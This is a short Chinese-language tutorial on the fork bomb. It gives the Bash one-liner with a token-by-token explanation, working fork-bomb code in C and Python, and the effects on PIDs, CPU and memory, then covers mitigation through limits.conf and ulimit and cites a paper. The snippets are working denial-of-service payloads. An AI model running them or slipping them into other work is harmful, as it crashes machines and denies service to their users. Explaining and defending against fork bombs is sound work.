Linux系统创建进程的方式十分简单,只需写一行fork(); 即可。因此,很容易在Linux环境下使用fork系统调用不断复制自身从而引发拒绝服务攻击
Unix环境下的fork炸弹
:(){ :|: & };:
- : 是函数名
- | 是管道命令,将前者的输出作为输入给后者,在这里每次调用:函数会执行:两次
- Unix中&表示将函数后台运行,换句话说,解除两函数的关联,当前面的:函数被终止,并不会杀死后面的:函数
- ;表示函数定义结束
- 后面的:是第一次的函数调用
C语言实现
#include <unistd.h>
int main()
{
while(1)
fork();
return 0;
}
python语言实现
import os
while True: os.fork()
攻击影响
- 消耗内核有限的pid资源
- cpu、内存等硬件资源占用率上升
防止fork炸弹
更该系统配置,限制每个用户的最大进程数
修改配置文件:
vi /etc/security/limits.conf
使用ulimit命令:
$ ulimit -a
Maximum size of core files created (kB, -c) 0
Maximum size of a process’s data segment (kB, -d) unlimited
Maximum size of files created by the shell (kB, -f) unlimited
Maximum size that may be locked into memory (kB, -l) 65536
Maximum resident set size (kB, -m) unlimited
Maximum number of open file descriptors (-n) 1024
Maximum stack size (kB, -s) 8192
Maximum amount of cpu time in seconds (seconds, -t) unlimited
Maximum number of processes available to a single user (-u) 15435
Maximum amount of virtual memory available to the shell (kB, -v) unlimited
关于fork bomb的论文推荐:https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=7818694
|